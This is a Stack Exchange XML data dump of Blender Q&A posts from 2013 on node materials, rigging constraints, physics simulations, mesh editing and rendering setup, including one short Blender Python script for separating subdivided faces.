  <row Id="1431" PostTypeId="2" ParentId="1398" CreationDate="2013-06-27T11:31:05.150" Score="13" Body="&lt;p&gt;A very flexible way to make the texture is to make it from scratch with the nodes, not relying on the built-in, a bit limited wave texture. Using some math nodes and adjusting the value results in a pretty nice wood texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WvXyl.png&quot; alt=&quot;Result of node material&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bqiMG.png&quot; alt=&quot;The core of the material&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here the two vector inputs define a line that passes through both (the core of the three), and the distance from that to the object surface is calculated inside the distance node. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RBmJP.png&quot; alt=&quot;Inside the distance group&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The surface positions are distorted a bit by adding a bit of noise to them, the distance calculation is done per the equation &lt;a href=&quot;http://mathworld.wolfram.com/Point-LineDistance3-Dimensional.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using modulo makes the distance from the surface to the line a looping range of values from 0 to the distance between the waves in the wood. Multiplying that by the inverse of the distance brings the range to 0 - 1, which can then be mapped into a nice gradient using a map range node. That can be used to multiply or mix the color value to achieve the final result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.minimaexpresion.es/?p=690&amp;amp;lang=en&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.minimaexpresion.es/?p=690&amp;amp;lang=en&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://materialw.wordpress.com/materials/wood-material/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://materialw.wordpress.com/materials/wood-material/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?246113-A-fine-procedural-wood-material-for-Cycles&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://blenderartists.org/forum/showthread.php?246113-A-fine-procedural-wood-material-for-Cycles&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://shiny-dynamics.blogspot.fr/2012/04/wood-texture-for-blender.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://shiny-dynamics.blogspot.fr/2012/04/wood-texture-for-blender.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.wikibooks.org/wiki/Blender_3D:_Noob_to_Pro/Procedural_Textures&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://en.wikibooks.org/wiki/Blender_3D:_Noob_to_Pro/Procedural_Textures&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Textures/Types/Procedural/Wood&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Manual/Textures/Types/Procedural/Wood&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.blendswap.com/blends/view/52626&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.blendswap.com/blends/view/52626&lt;/a&gt; (mirror of previous link)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="263" LastEditorUserId="23985" LastEditDate="2018-02-07T07:14:28.607" LastActivityDate="2018-02-07T07:14:28.607" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1432" PostTypeId="2" ParentId="1398" CreationDate="2013-06-27T12:31:59.890" Score="6" Body="&lt;p&gt;If you can use generated coordinates, there shouldn't be a need for multiple textures. Just adjust the mapping to place and distort the grain to your liking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/orBDo.png&quot; alt=&quot;Example cube and node setup&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2013-06-27T12:31:59.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1433" PostTypeId="2" ParentId="1430" CreationDate="2013-06-27T12:32:09.077" Score="8" Body="&lt;p&gt;The &lt;em&gt;Limit Distance&lt;/em&gt; constraint influences the location of the bone. All the bones (except the root bone) are children of another bone in the armature. Because of this you cannot move them (the location is also greyed out in the properties panel). If you want to allow the tip to move, you should un-parent the tip, create an IK constraint on the bone beneath it, and target the tip bone. That should make it work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QACAL.jpg&quot; alt=&quot;constraint explanation&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="668" LastEditorUserId="20" LastEditDate="2013-06-27T16:10:40.590" LastActivityDate="2013-06-27T16:10:40.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1434" PostTypeId="2" ParentId="1425" CreationDate="2013-06-27T12:48:43.340" Score="9" Body="&lt;p&gt;I'm not sure about speed and optimization but there are some differences between the two. Here is what the &lt;a href=&quot;https://docs.blender.org/manual/en/latest/physics/soft_body/introduction.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;documentation&lt;/a&gt; says about the softbody simulator:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;A Soft Body in general, is a simulation of a soft or rigid deformable&#xA;object. In Blender, this system is best for simple cloth objects and&#xA;closed meshes. There is dedicated Cloth Simulation physics that use a&#xA;different solver, and is better for cloth.&lt;/p&gt;&#xA;&lt;p&gt;This simulation is done by applying forces to the vertices or&#xA;controlpoints of the object. There are exterior forces like gravity or&#xA;forcefields and interior forces that hold the vertices together. This&#xA;way you can simulate the shapes that an object would take on in&#xA;reality if it had volume, was filled with something, and was acted on&#xA;by real forces.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;So basically the soft body measures where each vertex should be pushing the vertices around it. Kind of like a bunch of opposing magnets connected by string.&lt;/p&gt;&#xA;&lt;p&gt;The cloth simulator works more along the lines of each vertex having mass and simply falling and folding without much care as to the other vertices around it (except of course for collisions). It's more like a bunch of marbles connected by string.&lt;/p&gt;&#xA;&lt;p&gt;Soft bodies are generally better for enclosed meshes (i.e. no non-manifold edges) and things that will bounce or jiggle or conform to its surroundings.&lt;/p&gt;&#xA;&lt;p&gt;Cloth is better for non-manifold meshes that will fall and collide with other meshes. It works better with things like clothing, flags or bed sheets.&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="15924" LastEditDate="2020-11-03T15:00:53.193" LastActivityDate="2020-11-03T15:00:53.193" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="1435" PostTypeId="1" CreationDate="2013-06-27T13:45:38.450" Score="6" ViewCount="2354" Body="&lt;p&gt;I am learning how to use the node editing but have come up with a problem. I have followed the instructions that were give on a tutorial but I cannot get the effect to work there are 2 effects that I want to appear in the final render but only one appears. Here is a screen shot of my node set up. If anybody knows what i have done wrong could you please tell me . Thank you. If you need any more information please just let me know. If I am asking wrong questions or asking for the wrong information i am sorry but I am new to this site and am just learning how to use the site properly. &lt;em&gt;(&lt;a href=&quot;https://i.stack.imgur.com/uAWOo.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;larger image here&lt;/a&gt;)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uAWOo.jpg&quot; alt=&quot;compostion node set up&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="620" LastEditorUserId="12" LastEditDate="2013-06-27T14:03:57.027" LastActivityDate="2016-07-31T14:05:32.613" Title="Final render not showing full node setup" Tags="&lt;compositor&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1436" PostTypeId="2" ParentId="1435" CreationDate="2013-06-27T13:57:19.107" Score="6" Body="&lt;p&gt;Looking at your node setup, I think it is because you have the wrong socket plugged into the &lt;em&gt;Composite&lt;/em&gt; node. It should be coming from the same &lt;em&gt;Add&lt;/em&gt; node that the &lt;em&gt;Viewer&lt;/em&gt; node is also plugged into. Maybe you were testing earlier and forgot to change it back?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, you can enable &lt;em&gt;Backdrop&lt;/em&gt; while in the compositor to update your changes as you work, this can save you the time of rendering everytime you need to try a certain setup or see changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://blender.stackexchange.com/questions/60/what-is-the-difference-between-a-viewer-and-a-compositor-node&quot;&gt;What is the difference between a Viewer and a Compositor node?&lt;/a&gt; for more information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/luBaL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2016-07-31T14:05:32.613" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="1437" PostTypeId="1" AcceptedAnswerId="1443" CreationDate="2013-06-27T15:09:14.623" Score="11" ViewCount="28916" Body="&lt;p&gt;Is there a quick way to subdivide a face and then separate the resulting faces into separated meshes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I am doing now:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select the face&lt;/li&gt;&#xA;&lt;li&gt;Subdivide the face (e.g. into 16 square pieces)&lt;/li&gt;&#xA;&lt;li&gt;Select one of the face&lt;/li&gt;&#xA;&lt;li&gt;Separate by selection&lt;/li&gt;&#xA;&lt;li&gt;Repeat steps 3 and 4 until there is one face left&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This works, but this is really time consuming and I can't even imagine splitting into more pieces (e.g. 256 pieces).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a function (hopefully built-in) to perform the above steps more efficiently?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Here's the result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BaYxA.png&quot; alt=&quot;The result&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the original state:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NAi6P.png&quot; alt=&quot;The original state&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="292" LastEditorUserId="12" LastEditDate="2013-06-27T15:19:33.650" LastActivityDate="2018-09-13T18:50:19.967" Title="Subdivide and separate face into different meshes" Tags="&lt;mesh&gt;&lt;workflow&gt;" AnswerCount="5" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1438" PostTypeId="2" ParentId="1437" CreationDate="2013-06-27T15:20:29.427" Score="9" Body="&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select the face&lt;/li&gt;&#xA;&lt;li&gt;Subdivide&lt;/li&gt;&#xA;&lt;li&gt;Switch to Edge Select mode&lt;/li&gt;&#xA;&lt;li&gt;Loop select all horizontal (or vertical) edges&lt;/li&gt;&#xA;&lt;li&gt;Rip with &lt;kbd&gt;V&lt;/kbd&gt; and hit &lt;kbd&gt;Esc&lt;/kbd&gt; so the edges stay in their original places&lt;/li&gt;&#xA;&lt;li&gt;Box select the edges in the other direction (e.g. vertical if you started with horizontal)&lt;/li&gt;&#xA;&lt;li&gt;Rip with &lt;kbd&gt;V&lt;/kbd&gt; and hit &lt;kbd&gt;Esc&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;Use &lt;kbd&gt;P&lt;/kbd&gt; and Separate by loose parts.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;On paper, this is more steps, but the workflow is faster.&lt;/p&gt;&#xA;" OwnerUserId="836" LastEditorUserId="12" LastEditDate="2013-06-27T15:37:22.287" LastActivityDate="2013-06-27T15:37:22.287" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1439" PostTypeId="2" ParentId="1425" CreationDate="2013-06-27T15:48:46.910" Score="16" Body="&lt;p&gt;In short, soft bodies are &lt;strong&gt;compressible&lt;/strong&gt; while cloth is not. All other features are the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, this makes a huge difference in computational speed. To better explain this, I will use an extension of the metaphor &lt;a href=&quot;https://blender.stackexchange.com/users/20/charlesl&quot;&gt;CharlesL&lt;/a&gt; used in &lt;a href=&quot;https://blender.stackexchange.com/a/1434/25&quot;&gt;his response&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A &lt;em&gt;Cloth Simulation&lt;/em&gt; essentially models the object as a bunch of balls (vertices) connected to each other by fixed-length rods. Thus, for computational purposes, the simulation can treat the internal distances between points as a constant, and &lt;strong&gt;only has to calculate interaction with other objects&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A &lt;em&gt;Soft Body Simulation&lt;/em&gt;, on the other hand, models the object as a bunch of balls (vertices) connected to each other by springs. So now, not only does Blender have to compute the interaction of the object with other objects, but also has to compute its own internal reaction and the spread of force applied at one point across all of those little springs, which is &lt;strong&gt;much&lt;/strong&gt; more complex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know the exact complexity of the algorithms Blender uses for these simulations, but it's essentially the difference between a linear relationship and a differential equation.&lt;/p&gt;&#xA;" OwnerUserId="25" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2016-07-31T14:08:16.957" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1440" PostTypeId="2" ParentId="1371" CreationDate="2013-06-27T15:48:58.840" Score="15" Body="&lt;p&gt;Even the &lt;a href=&quot;http://www.goldennumber.net/face/&quot; rel=&quot;nofollow noreferrer&quot;&gt;human face is based on Phi and Golden Ratio proportions&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Fun stuff, anyway had to have a play:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Animated a circle's scale and rotation (used &lt;a href=&quot;https://blender.stackexchange.com/a/1394/290&quot;&gt;golden angle as mentions by brecht&lt;/a&gt;) and made &lt;a href=&quot;https://docs.blender.org/manual/en/latest/editors/graph_editor/fcurves/modifiers.html?#cycles-modifier&quot; rel=&quot;nofollow noreferrer&quot;&gt;cyclic&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/X61ie.gif&quot; alt=&quot;animated circle&quot; /&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Setting up a &lt;a href=&quot;https://docs.blender.org/manual/en/latest/physics/particles/introduction.html#introduction&quot; rel=&quot;nofollow noreferrer&quot;&gt;particle system&lt;/a&gt; to spawn the suzanne-flower seeds.&lt;/li&gt;&#xA;&lt;li&gt;Disabled gravity and particle velocity so they'd stay in place.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Etkdz.png&quot; alt=&quot;suzanneflower&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="15924" LastEditDate="2020-12-09T01:38:55.383" LastActivityDate="2020-12-09T01:38:55.383" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="1441" PostTypeId="2" ParentId="1321" CreationDate="2013-06-27T15:52:04.213" Score="2" Body="&lt;p&gt;On the face of it (no pun intended), this should be reasonably simple to do. Your script would basically go through the following steps:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create an empty mesh object&lt;/li&gt;&#xA;&lt;li&gt;Loop through every bone in the armature. For each bone:&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Place a vertex at the bone tip and one at the bone root&lt;/li&gt;&#xA;&lt;li&gt;Connect an edge between those two vertices&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;li&gt;Execute a Remove Doubles operator to remove any vertices that are in the same location as one another (thereby also chaining your edges together.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Wrap that process in its own operator and you're good to go. That's pretty much it. Is there a specific part of that process that you're having difficulty with?&lt;/p&gt;&#xA;" OwnerUserId="836" LastActivityDate="2013-06-27T15:52:04.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1443" PostTypeId="2" ParentId="1437" CreationDate="2013-06-27T18:53:13.210" Score="11" Body="&lt;ol&gt;&#xA;&lt;li&gt;In &lt;em&gt;Edit&lt;/em&gt; mode -&gt; Select the face &lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;W&lt;/kbd&gt; -&gt; Subdivde -&gt; tool shelf &lt;kbd&gt;T&lt;/kbd&gt; or &lt;kbd&gt;F6&lt;/kbd&gt; -&gt; Number of Cuts (in your case 3)&lt;/li&gt;&#xA;&lt;li&gt;With the subdivided faces selected -&gt; &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;E&lt;/kbd&gt; -&gt; mark sharp&lt;/li&gt;&#xA;&lt;li&gt;Add edge split modifier -&gt; uncheck edge angle&lt;/li&gt;&#xA;&lt;li&gt;In &lt;em&gt;Object&lt;/em&gt; mode apply the edge split modifier&lt;/li&gt;&#xA;&lt;li&gt;(optional) in &lt;em&gt;Edit&lt;/em&gt; mode -&gt; select the faces if not selected -&gt; &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;E&lt;/kbd&gt; -&gt; clear sharp &lt;/li&gt;&#xA;&lt;li&gt;In &lt;em&gt;Edit&lt;/em&gt; mode -&gt; &lt;kbd&gt;P&lt;/kbd&gt; -&gt; separate by loose parts&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="838" LastEditorUserId="25" LastEditDate="2013-06-27T19:05:14.957" LastActivityDate="2013-06-27T19:05:14.957" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1444" PostTypeId="1" CreationDate="2013-06-27T19:59:20.390" Score="12" ViewCount="54657" Body="&lt;p&gt;I'm am trying to create a scene in Blender, by adding in another object from a previously created scene that is on a separate .blend file. How can I do this?&lt;br&gt;&#xA;I have tried to append an object from one .blend to another, but it still won't work. Can I get some help in trying to figure this out? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other answers to this question haven't worked. Is it a bug? How can I do this?&lt;/p&gt;&#xA;" OwnerUserId="468" LastEditorUserId="599" LastEditDate="2013-09-09T19:56:57.567" LastActivityDate="2013-09-09T19:56:57.567" Title="How to add an object from another scene?" Tags="&lt;append&gt;" AnswerCount="1" CommentCount="10" FavoriteCount="4" ClosedDate="2013-06-27T20:42:54.987" ContentLicense="CC BY-SA 3.0" />
  <row Id="1445" PostTypeId="2" ParentId="1444" CreationDate="2013-06-27T20:20:26.593" Score="19" Body="&lt;p&gt;If the scenes are in the same .blend file:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Be in the destination scene&lt;/li&gt;&#xA;&lt;li&gt;From the Outliner, make sure you see all scenes&lt;/li&gt;&#xA;&lt;li&gt;In the Outliner, expand the scene with the object you want and drill down to that object&lt;/li&gt;&#xA;&lt;li&gt;Left-click and drag the &lt;strong&gt;icon&lt;/strong&gt; for that object into your 3D View&lt;/li&gt;&#xA;&lt;li&gt;Boom... you've copied it over&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If the scenes are in different files&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;File &gt; Append (or &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;F1&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;li&gt;From Blender's File Browser, go to the .blend file you want to pull from&lt;/li&gt;&#xA;&lt;li&gt;Left-click the .blend file and go to the Object sub-directory within it&lt;/li&gt;&#xA;&lt;li&gt;Choose the object you want to get (you did give it a sensible name, right?)&lt;/li&gt;&#xA;&lt;li&gt;Click the &quot;Link/Append from Library&quot; button in the upper right corner&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="836" LastActivityDate="2013-06-27T20:20:26.593" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1446" PostTypeId="2" ParentId="1422" CreationDate="2013-06-27T20:23:30.540" Score="2" Body="&lt;p&gt;I tried performing the steps in v2.65 r53189 and it exports the animations correctly.&#xA;It seems that in v2.66.1 r55078 the Collada export does not output the keyframes correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the end, I decided to take iKlsR's advice and use x format since it allows me to use the newest version of Blender and is still compatible with AssImp.  It also allows me to flip the z and y axes which is a bonus!&lt;/p&gt;&#xA;" OwnerUserId="835" LastEditorUserId="835" LastEditDate="2013-06-28T16:54:46.343" LastActivityDate="2013-06-28T16:54:46.343" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="1448" PostTypeId="1" AcceptedAnswerId="1475" CreationDate="2013-06-27T20:39:49.640" Score="10" ViewCount="15639" Body="&lt;p&gt;I have an older Nvidia graphics card that I would like to use for GPU rendering with cycles. However, I am having difficulty enabling this feature. If I open up User Preferences, I see the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KUQ4O.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only available option is &quot;CPU&quot;. I don't see GPU listed anywhere. What do I need to do to enable GPU rendering on my machine?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Software:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Ubuntu 13.04 64-bit&lt;/li&gt;&#xA;&lt;li&gt;Nvidia binary driver version 304.88&lt;/li&gt;&#xA;&lt;li&gt;Blender 2.66a&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Hardware:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Intel Core 2 Duo @ 1.6GHz&lt;/li&gt;&#xA;&lt;li&gt;Nvidia GeForce 8400M GS&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="75" LastActivityDate="2014-02-15T19:18:19.540" Title="How to enable GPU rendering on older Nvidia GPUs?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;gpu&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1449" PostTypeId="2" ParentId="1437" CreationDate="2013-06-27T23:07:34.837" Score="4" Body="&lt;p&gt;Heres a script (commands copied from executing them - macro style), you can run this in the python console or text editor.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# select the face in edit-mode and run&#xA;import bpy&#xA;bpy.ops.mesh.subdivide(number_cuts=3)&#xA;bpy.ops.mesh.inset(thickness=0, use_individual=True)&#xA;bpy.ops.mesh.delete(type='FACE')&#xA;bpy.ops.mesh.select_all(action='TOGGLE')&#xA;bpy.ops.mesh.separate(type='LOOSE')&#xA;bpy.ops.object.editmode_toggle()&#xA;bpy.ops.object.origin_set(type='ORIGIN_GEOMETRY', center='MEDIAN')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if you wanted to you could make this into an operator and assign a keystroke or a menu item to is.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2013-06-27T23:14:17.110" LastActivityDate="2013-06-27T23:14:17.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1450" PostTypeId="1" AcceptedAnswerId="1458" CreationDate="2013-06-28T00:26:50.840" Score="5" ViewCount="1301" Body="&lt;p&gt;I have done a bake sound to f-curve and now I want to use the same baked f-curve to multiple properties such as size, location, emitt etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I can't edit the f-cure (TAB) or copy it. Do I have to bake the same sound for each property?!?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or have I missed out on something?&lt;/p&gt;&#xA;" OwnerUserId="639" LastActivityDate="2013-06-28T04:39:59.713" Title="How to copy/paste a baked sound f-curve?" Tags="&lt;graph-editor&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1451" PostTypeId="1" AcceptedAnswerId="1474" CreationDate="2013-06-28T00:41:23.157" Score="6" ViewCount="5624" Body="&lt;p&gt;O.k. I'm back and now i need to know how to make a metallic material in Blender Internal.&#xA;The last question was for cycles and that fixed my problem, but Blender Internal doesn't have a Glossy BSDF. How do I get a glossy/metallic material in BI?&lt;/p&gt;&#xA;" OwnerUserId="468" LastEditorUserId="599" LastEditDate="2013-09-14T19:22:03.123" LastActivityDate="2013-09-14T19:22:03.123" Title="Blender Internal glossy BSDF equivalent?" Tags="&lt;materials&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1452" PostTypeId="1" AcceptedAnswerId="1461" CreationDate="2013-06-28T00:51:57.747" Score="4" ViewCount="835" Body="&lt;p&gt;The dropdown menu to select the render engine (e.g. &quot;Cycles&quot;, &quot;Blender Internal&quot;, &quot;Blender Game&quot;) isn't showing up:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/8yZ60m9.png&quot; alt=&quot;render engine dropdown missing&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I compiled Blender myself (SVN r56975), and although I've enabled &lt;code&gt;WITH_CYCLES&lt;/code&gt; with CMake at compile time, the Cycles addon warns about missing script files. But the &quot;Blender Game&quot; option should still be there.&lt;/p&gt;&#xA;" OwnerUserId="195" LastEditorUserId="195" LastEditDate="2013-06-28T15:49:22.983" LastActivityDate="2013-06-28T15:49:22.983" Title="Why is the &quot;render engine&quot; selection menu missing?" Tags="&lt;interface&gt;&lt;versions&gt;" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="1453" PostTypeId="2" ParentId="1363" CreationDate="2013-06-28T01:30:15.410" Score="1" Body="&lt;p&gt;It sounds like something might be hidden in the viewport.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have you checked these places?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OYGx8.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/cxoXn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case images don't show up,&#xA;they are at &lt;a href=&quot;https://i.stack.imgur.com/OYGx8.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://i.stack.imgur.com/OYGx8.png&lt;/a&gt; and &lt;a href=&quot;https://i.stack.imgur.com/cxoXn.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://i.stack.imgur.com/cxoXn.png&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-07-01T18:04:21.487" LastActivityDate="2013-07-01T18:04:21.487" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1454" PostTypeId="5" CreationDate="2013-06-28T01:44:35.280" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-06-28T01:44:35.280" LastActivityDate="2013-06-28T01:44:35.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1455" PostTypeId="4" CreationDate="2013-06-28T01:44:35.280" Score="0" Body="Questions about Blender involving other applications, such as external render engines." OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-06-28T01:51:00.490" LastActivityDate="2013-06-28T01:51:00.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1456" PostTypeId="5" CreationDate="2013-06-28T02:38:49.083" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-06-28T02:38:49.083" LastActivityDate="2013-06-28T02:38:49.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1457" PostTypeId="4" CreationDate="2013-06-28T02:38:49.083" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-06-28T02:38:49.083" LastActivityDate="2013-06-28T02:38:49.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1458" PostTypeId="2" ParentId="1450" CreationDate="2013-06-28T02:50:53.567" Score="4" Body="&lt;p&gt;I would suggest you bake the sound into one distinct property, like the scale of an empty you add for that purpose, and use it to drive all places where you need the sound f-curve. This way there is no duplicated data, and if you have to edit or change the sound you won't have to copy a bunch of animations every time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also search for &quot;bake action&quot; from the spacebar menu to make the baked action into normal keyframes, and copy them around, but the driving method is better in my opinion.&lt;/p&gt;&#xA;" OwnerUserId="263" LastEditorUserId="263" LastEditDate="2013-06-28T02:59:28.660" LastActivityDate="2013-06-28T02:59:28.660" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
